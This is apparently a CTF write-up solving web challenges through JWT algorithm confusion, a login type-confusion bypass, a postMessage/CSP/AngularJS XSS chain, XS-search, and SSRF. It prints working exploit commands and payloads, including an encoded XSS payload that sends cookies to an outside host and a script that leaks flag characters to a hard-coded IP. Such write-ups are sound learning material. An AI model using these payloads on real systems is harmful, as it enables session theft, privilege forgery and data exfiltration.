brief intro first, will slowly update details once have time lol.

Unlock Me(solved)

jwt algo change.

We were given account and password, minion:banana, when pressed login, it says Only admins are allowed into HQ!, check the frontend source code for login logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<script>
$( "#signinForm" ).submit(function( event ) {
event.preventDefault();
fetch("login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"username": $( "#inputUsername" ).first().val(), "password": $( "#inputPassword" ).first().val() })
}).then(function(response) {
return response.json();
}).then(function(data) {
if (data.error) {
$('#alerts').html('<div class="alert alert-danger" role="alert">'+data.error+'</div>');
} else {
fetch("unlock", {
headers: {
"Authorization": "Bearer " + data.accessToken
}
}).then(function(response) {
return response.json();
}).then(function(data) {
if (data.error) {
$('#alerts').html('<div class="alert alert-danger" role="alert">'+data.error+'</div>');
} else {
$('#alerts').html('<div class="alert alert-success" role="alert">'+data.flag+'</div>');
}
}).catch(function(error) {
$('#alerts').html('<div class="alert alert-danger" role="alert">Request failed.</div>');
})
}
}).catch(function(error) {
$('#alerts').html('<div class="alert alert-danger" role="alert">Request failed.</div>');
})
});
// TODO: Add client-side verification using public.pem
</script>

token based authentication:

1
2
3
# root @ kali64 in ~ [0:32:42] 
$ curl -H "Content-Type:application/json" -X POST -d '{"username":"minion","password":"banana"}' http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/login
{"accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MzE5MTY5fQ.iDaFvnO7Vg_U7_1LjSDCXYvDMoHHG-BBBlYFczTrQ1zVerCPbvVrcQZmodrSIrbe_OL-IvCaIZvyaPa69rACdMzdeMMl2zpjAQCkrzVNeGHkux_R1S8whHzE5fP3HzA_QGFEsY7rP0dAbQlKLmaEaPJ_c0yuznYFegUAsQKzjlhQH5OIRnA6NyfJgqljaOfHwt-yx6oapDMURFE7pkRx7UfkHwQClSttx4RYZq5Ag6AsgA8P2ka7f3rA_9MCFWLlObTxQENWszexq2Kk7RONuBNHySiDoarKZUTor6AeKcB48UKg93RIsaIcDX8Sg0J2_76_bIIT2zM0IRUCUt3De4bd940GjaTJ4kMVxfODMciTHj_IJSF4lISXXehmUp0ec0xOaT3G2zruzFxoSt9qIogWaVCavRDqp33xg1sDyuNg6hn8sn1Xn6C752LYHWubIns9nhqMCoWS00Zt-tr-ztvpiaxkOwn8VE-0RNyNKPa-aEp8rQv9fsdHWpV-3nBLEHLzAgG9SLwoZuuurL8DU4PTh-3P3b5vH2LAmMkCzYyIjvGu0vDas_5apEkoSwJ8iJlJRXw5hr2oe4rBXFhaMZQwGLh1bwOtS6VjTrSdFlZ6a5P30U8T5OWz9yDGS9eUru6W6oAHm6LjSVw8YUiPb0Zk9bcmFAYFiYXqKe-IrT4"}

(I was asked about jwt last month in interview, and I didn’t answer very well, so I went to read some attacks on jwt after the interview. So I get triggered when I saw eyJ lol)

And the comment // TODO: Add client-side verification using public.pem also hints me to do a jwt signing algorithm changing attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# root @ kali64 in /tmp [0:46:43] 
$ wget yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/public.pem -q

# root @ kali64 in /tmp [0:46:47]
$ curl -H "Content-Type:application/json" -X POST -d '{"username":"minion","password":"banana"}' http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/login
{"accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MzIwMDE2fQ.dL93R7bphh58UTEht6ad8Xmhp8zT3hBi0iUkDDcVd06Y3uKRkFSmkchPWP6DzdzmSzGPfzvayvou18Nk3JqkimgqvJ9Ov2eszbGpANiAmp1E9y9I3fZYP_ssQK8emvH6pJo9NRd9anDfFTx_squmlJZ6ORDHWET7bjHCy2x2SsainsnNldEuF-o0Dywuo6gX4yk2HwVZONulrZbIdjw5rKwsDkNpu19hqVQzosxh0JqBOpqJ--g-ZI1i-1Kb7bVU3asmFGMbw5t3_o09BLZlM8-GVNSCK1aeGANqXyeCZjBEz_CJN70VFTI3shoPPWJ0_Y-fYzdQr6OF621G4ov9RXpwzVz2zKXX5O4_Y07IO0NkasclmOxHZQf8OEC9Cuh63Yc3gP9gnsUL_BVWqq8d629hz9B631mCSXb0NWx5XU5kqCVzAv_Ohq1mYrtMAYVWKPQO2o96iLZjk3EFhuFuQV_oR47bBKFz7IhSkdY5eKPkFrYiKkOCS1R0FOHLmaMAhPsgXqoM9l2LE8RN0T3qqX6sImJ_pnBaElSKODeK3D4mmBhhXfyjcFMTY58oOf-4o7-V6D_8CYAHfbXsKhVvgerFP9A_qt6Zg64SH3a8pCDHmkjNa5fVOjEzXOkyKpWieamYj8NjLEPViKjrAxU1iK7aR78NIHeT3mv6EwKvrXA"}#

# root @ kali64 in /tmp [0:46:56]
$ echo eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3MzIwMDE2fQ | base64 -d
{"username":"minion","role":"user","iat":1607320016}base64: invalid input

# root @ kali64 in /tmp [0:47:10] C:1
$ python -c 'import jwt;print(jwt.encode({"username":"minion","role":"admin","iat":1607320016},key=open("public.pem", "r").read(),algorithm="HS256"))'
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzMyMDAxNn0.oNbzc6cNBG6KtVNB6Sw9k2Xg0TRGF8QW5PeJ1f_517w'

# root @ kali64 in /tmp [0:47:26]
$ curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzMyMDAxNn0.oNbzc6cNBG6KtVNB6Sw9k2Xg0TRGF8QW5PeJ1f_517w" http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/unlock
{"flag":"govtech-csg{5!gN_0F_+h3_T!m3S}"}

Logged In(solved)

nodejs prototype pollution.

refer: Authentication bypass in NodeJS application — a bug bounty story

1
2
3
4
# root @ kali64 in ~ [23:53:08] 
$ curl -H "Content-Type:application/json" -X POST -d '{"username":[0],"password":true}' http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41061/api/login

{"flagOne":"govtech-csg{m!sS1nG_cR3DeN+!@1s}","encryptedFlagTwo":"717f4cda287d40c47e7b50cb772b4def5a415387257510d1"}

You shall not pass!(solved)

postMessage -> origin bypass -> CSP bypass -> AngularJS sandbox escape -> XSS steal cookie

1
2
3
4
5
6
7
8
<iframe id = "broadcasts" src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts">
<script>
function test() {
var test = '<iframe/srcdoc="<script/src=javascripts/angular.min.js><\/script><div/ng-app>{{x={y:toString().constructor.fromCharCode(0).constructor.prototype};x[toString().constructor.fromCharCode(121)].charAt=[].join;$eval(toString().constructor.fromCharCode(120,61,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,109,103,32,115,114,99,61,34,104,116,116,112,115,58,47,47,121,46,111,117,108,111,118,101,46,109,101,47,63,99,111,111,107,105,101,61,39,32,43,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,32,43,32,39,34,32,47,62,39,41));}}</div>"></iframe>';
document.getElementById('broadcasts').contentWindow.postMessage(test, "*");
}
setTimeout(function(){test();},1500);
</script>

This challenge is very similar(about 80%) to the Bug Poc XSS 2 challenge, and my payload was mainly modified from this post: https://medium.com/@osama.alaa/bug-poc-xss-2-challenge-writeup-429790119912. To get a better understanding of this challenge, I would recommend you to read that post instead of the current post.

I’ve mirrored the website and you can download the front-end source code here: you_shall_not_pass.tar.gz

image-20201212002549054

At first glance, I thought it was about SSRF, since I can post the link and ask the backend to visit. But I have no idea what are the attack surface at the backend, and seems that the headless browser will close itself in a few seconds.

image-20201212002958215

So I decided to take a look at the front-end source code:

the broadcast page is in an iframe, with a suspicious form, and the javascript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    <form id="broadcastForm" action="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcast" method="POST">
<h1 class="h3 mb-3 font-weight-normal">Broadcast Message to Victims!</h1>
<label for="inputBroadcast" class="sr-only">Broadcast</label>
<textarea id="inputBroadcast" class="osk-trigger form-control mb-2" rows="3" name="broadcast" readonly="readonly"
placeholder="Broadcast message"></textarea>
<button class="btn btn-lg btn-primary btn-block" name="submit" type="submit">Broadcast!</button>
</form>
<hr />
<iframe name="broadcasts" id="broadcasts" frameBorder="0" src="broadcasts"></iframe>
.
.
.
<script>
$(function () {
$('#broadcastForm').children('.osk-trigger').onScreenKeyboard({
rewireReturn: false,
rewireTab: true
});
});

var broadcastForm = document.getElementById('broadcastForm');
broadcastForm.addEventListener('submit', async function (event) {
event.preventDefault();
event.stopPropagation();
var searchData = new FormData(broadcastForm);
var broadcast = searchData.get("broadcast");
var response = await fetch("/broadcast", {
method: 'POST',
mode: 'cors',
cache: 'no-cache',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
broadcast: broadcast
})
});
console.log(response.status);
if (response.status === 200) {
document.getElementById('broadcasts').contentWindow.postMessage(broadcast, "*");
}
})

</script>

eventlistener is registered on the broadcastForm, when pressing submit, fetch will post content to /broadcast, if the returned status code is 200, it will then use postMessage to post message to the iframe of broadcasts. Let’s check what does /broadcasts do(don’t be confused with /broadcast):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>

<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"
integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
<script src="/javascripts/frame.js"></script>
</head>

<body>
<ul id="broadcastList" class="list-group mb-3">
<li class="list-group-item d-flex justify-content-between lh-condensed">
<div>
<h6 class="my-0">YOU GOT HACKED</h6>
</div>
</li>
<li class="list-group-item d-flex justify-content-between lh-condensed">
<h6 class="my-0">NANI??</h6>
</li>
<li class="list-group-item d-flex justify-content-between lh-condensed">
<h6 class="my-0">YOU ARE APPROACHING ME???</h6>
</li>
</ul>
</body>

</html>

let’s check frame.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
// verify sender is trusted
if (
!/^http:\/\/yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg/.test(
event.origin
)
) {
return;
}

// display message
msg = event.data;
if (msg == "off") {
document.body.style.color = "#95A799";
} else if (msg == "on") {
document.body.style.color = "black";
} else if (
!msg.includes(" ") &&
!msg.includes("'") &&
!msg.includes("&") &&
!msg.includes("|") &&
!msg.includes("%") &&
!msg.includes("@") &&
!msg.includes("!") &&
!msg.includes("#") &&
!msg.includes("^")
) {
var broadcastList = document.getElementById("broadcastList");
var newBroadCast = document.createElement("div");
newBroadCast.innerHTML =
'<li class="list-group-item d-flex justify-content-between lh-condensed"><h6 class="my-0">' +
msg +
"</h6></li>";
while (newBroadCast.firstChild) {
broadcastList.appendChild(newBroadCast.firstChild);
}
}
}

an obvious bug was spotted on the regex(where is my $?):

image-20201212010841292

I just need to add one A record of yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg to my own domain, then I can bypass this origin check.

A rough idea: I create a page hosted on my yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg.fakedomain , with an iframe of the actual http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts, then I use postMessage to post a XSS payload to the iframe, and the iframe will process it, and add to its html source, leading to XSS, on the yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg domain, which allows me to do something evil.

There are a few obstacles to overcome:

  • CSP:

    1
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

    With help of this tool: https://csp-evaluator.withgoogle.com/, I realized that I can execute the scripts on its own origin

  • innerHTML:

    Notice that our post message was appended to the innerHTML, and the <script tag inserted into innerHTML after page finishes loading will not get executed. However, I can insert a new iframe, with custom content using srcdoc attribute as shown below:

    1
    <iframe srcdoc="<html><script src=script.js></script></html>"></iframe>

    This will bypass innerHTML security feature and load script.js

  • AngularJS sandbox escape:

    Honestly speaking, I have no idea how this work, I just refer to the payload here: https://medium.com/@osama.alaa/bug-poc-xss-2-challenge-writeup-429790119912, and composed my final payload:

    1
    <iframe/srcdoc="<script/src=javascripts/angular.min.js><\/script><div/ng-app>{{x={y:toString().constructor.fromCharCode(0).constructor.prototype};x[toString().constructor.fromCharCode(121)].charAt=[].join;$eval(toString().constructor.fromCharCode(120,61,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105,109,103,32,115,114,99,61,34,104,116,116,112,115,58,47,47,121,46,111,117,108,111,118,101,46,109,101,47,63,99,111,111,107,105,101,61,39,32,43,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,32,43,32,39,34,32,47,62,39,41));}}</div>"></iframe>

    The payload above would steal the cookie on http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/ which turned out to be flag.

Ransom Me This(solved)

xs-search

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<script>
var flag = "govtech-csg{";
//var flag = "Fr"
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$%\'()*+,-./:;<=>?@[\\]^`{|}~_ ';
var charLen = chars.length;
var ENDPOINT = "http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=";
var x = document.createElement('iframe');
var charCounter = 0;

function search(flag) {
var curChar = chars[charCounter];
x.setAttribute("src", ENDPOINT+flag+curChar);
document.body.appendChild(x);
}


window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
var success = event.data;
console.log(event.data)
if (success == 1) {
flag = flag+chars[charCounter];
charCounter = 0;
search(flag);
// server to receive guessed flag.
fetch('http://180.129.24.190:12321/leak?'+escape(flag), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
} else if (charCounter == charLen) {
fetch('http://180.129.24.190:12321/leak?done', {
method: "POST",
mode: "no-cors",
credentials: "include"
});
} else {
charCounter = charCounter+1;
search(flag);
}
}

search(flag);

</script>

I’ve mirrored the website and you can download the front-end source code here: ransom_me_this.tar.gz

Another challenge on postMessage.

image-20201212020931947

Same as the previous challenge, Hacked Website URL would force the backend to visit, and the Hacked Websites is an iframe:

1
<iframe frameBorder="0" id="searchResults" src="search?q=" onload="resizeIframe(this)">

and another event listener was register as below:

1
2
3
4
window.addEventListener("message", (event) => {
console.log(event.data)
document.getElementById('searchResultsCount').innerText = event.data;
}, false);

so the [object object] will be replaced by the number of results, and to figure out where is the message coming from, we check the source code of /search:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>
<head>
<title></title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
<link rel="stylesheet" href="stylesheets/style.css">
<script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
</head>
<body>
<ul class="list-group"></ul>
<li class="list-group-item d-flex justify-content-between lh-sm">
<div>
<h6 class="my-0">Free Sample Key</h6>
<small class="text-muted">This one is on us! Pay up to see the rest.</small>
</div>
<span class="text-muted">3303e356f9009e82cc167eba15b804b5</span>
</li>
<li class="list-group-item d-flex justify-content-between lh-sm">
<div>
<h6 class="my-0">Chung Brothers</h6>
<small class="text-muted">https://chungbrotherstours.com</small>
</div>
<span class="text-muted">HIDDEN</span>
</li>
<li class="list-group-item d-flex justify-content-between lh-sm">
<div>
<h6 class="my-0">Jaga Nation</h6>
<small class="text-muted">https://jaganation.net</small>
</div>
<span class="text-muted">HIDDEN</span>
</li>
<li class="list-group-item d-flex justify-content-between lh-sm">
<div>
<h6 class="my-0">Flag of our Fathers</h6>
<small class="text-muted">https://flagofourfathersfilm.popcorn</small>
</div>
<span class="text-muted">HIDDEN</span>
</li>
</body>
<script>var numResults = "4"
window.parent.postMessage(numResults, '*');
</script>
</html>

notice that window.parent.postMessage(numResults, '*'); is used, targetOrigin is set to *, we can create our own webpage again. But how to exploit this feature?

Notice that in the search text bar: Search by website title, URL, or ransom key (admin only), we know that the flag starts with govtech-csg{, and that is probably the value of Flag of our Fathers, we can try to search different combination of govtech-csg{*, and based on the number of results posted from the iframe to deduce if we have made the correct guess, and to bruteforce the next character.(sounds like boolean-based SQL injection?)

Writing POC was straightforward and self-explanatory.

Feed the Beast(not solved)

blind SQLi(should be)

Sadly the challenge server is down and I cannot attempt this unsolved challenge anymore. But anyway, life is not always perfect.

Breaking Free(solved)

Express.JS features in handling HEAD/GET -> variable override -> ssrf

We were only giving one JS file, which seems to be much easier lol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
const express = require('express');
const bodyParser = require('body-parser');
const axios = require('axios');
const app = express();
const router = express.Router();
const COVID_SECRET = process.env.COVID_SECRET;
const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g;
const Connection = require("./db-controller");
const dbController = new Connection();
const COVID_BACKEND = "web_challenge_5_dummy"

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

//Validates requests before we allow them to hit our endpoint
router.use("/register-covid-bot", (req, res, next) => {
var invalidRequest = true;
if (req.method === "GET") {
if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) {
invalidRequest = false;
}
} else {//Handle POST
let covidBotID = req.headers['x-covid-bot']
if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) {
invalidRequest = false;
}
}

if (invalidRequest) {
res.status(404).send('Not found');
} else {
next();
}

});

//registers UUID associated with covid bot to database
router.get("/register-covid-bot", (req, res) => {
let { newID } = req.query;

if (newID.match(COVID_BOT_ID_REGEX)) {
//We enroll a maximum of 100 UUID at any time!!
dbController.addBotID(newID).then(success => {
res.send({
"success": success
});
});
}

});

//Change a known registered UUID
router.post("/register-covid-bot", (req, res) => {
let payload = {
url: COVID_BACKEND,
oldBotID: req.headers['x-covid-bot'],
...req.body
};
if (payload.newBotID && payload.newBotID.match(COVID_BOT_ID_REGEX)) {
dbController.changeBotID(payload.oldBotID, payload.newBotID).then(success => {
if (success) {
fetchResource(payload).then(httpResult => {
res.send({ "success": success, "covid-bot-data": httpResult.data });
})


} else {
res.send({ "success": success });
}
});
} else {
res.send({ "success": false });
}

});

async function fetchResource(payload) {
//TODO: fix dev routing at backend http://web_challenge_5_dummy/flag/42
let result = await axios.get(`http://${payload.url}/${payload.newBotID}`).catch(err => { return { data: { "error": true } } });
return result;
}

app.use("/", router);

The logic is very clear, first vulnerability was immediately spotted as below:

1
2
3
4
5
let payload = {
url: COVID_BACKEND,
oldBotID: req.headers['x-covid-bot'],
...req.body
};

in my request body, if I set another url parameter, it is probably going to overwrite the original url value COVID_BACKEND, and when payload is passed to fetchResource function, it will leads to SSRF.

However, I need to make dbController.changeBotID(payload.oldBotID, payload.newBotID) return true, and I don’t know the logic of changeBotID. One reasonable assumption is that oldBotID must exist.

Bruteforcing seems to be infeasible, const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g , the space is too large, tried a few special BotID all does not exist, then I gave up on bruteforcing.

Another inconsistency here:

1
2
3
4
5
6
7
8
9
  if (req.method === "GET") {
if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) {
invalidRequest = false;
}
}

and

router.get("/register-covid-bot", (req, res) => {

inconsistency leads to bugs and then leads to vulnerability, I tried HEAD method, surprisingly, it will be handled by router.get, but in the first validation process, it is going to the //Handle POST code block.

I noticed this issue and referred to the HTTP/1.1 RFC 2616:

The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request.

It seems to be an intended behavior.

So it is easy now: I can issue HEAD request to register a BotID, then issue a POST request to change the BotID, and overwrite the url to web_challenge_5_dummy/flag/42#, exploiting SSRF to get the flag.

For some reason I don’t know(might be because //We enroll a maximum of 100 UUID at any time!!), the success rate is very low, but still working with burp intruder:

image-20201207132253223

End Note

In my personal point of view, the difficulty level should be logged in < unlock me < breaking free < ransom me this < you shall not pass, this ranking is very subjective, given my poor JS knowledge. However, breaking free is 3000 points while you shall not pass is only 1000 points.